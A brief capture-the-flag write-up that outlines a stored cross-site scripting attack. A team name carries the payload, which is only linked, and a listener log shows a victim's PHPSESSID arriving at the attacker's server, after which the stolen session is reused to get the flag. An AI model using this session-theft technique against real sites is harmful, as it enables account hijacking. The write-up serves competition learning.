Rating:

1. register account 
2. login on site
3. next create new team
4. post team name like this: https://twitter.com/d90andrew/status/516501572852142081
5. wait 
Connection from [213.233.181.233] port  XXXX [tcp/*] accepted 
GET /asdsdf?ddd=PHPSESSID=idhn48c8on07q415h4tip01ng5 HTTP/1.1
6. use session and get flag.

Original writeup (https://twitter.com/d90andrew).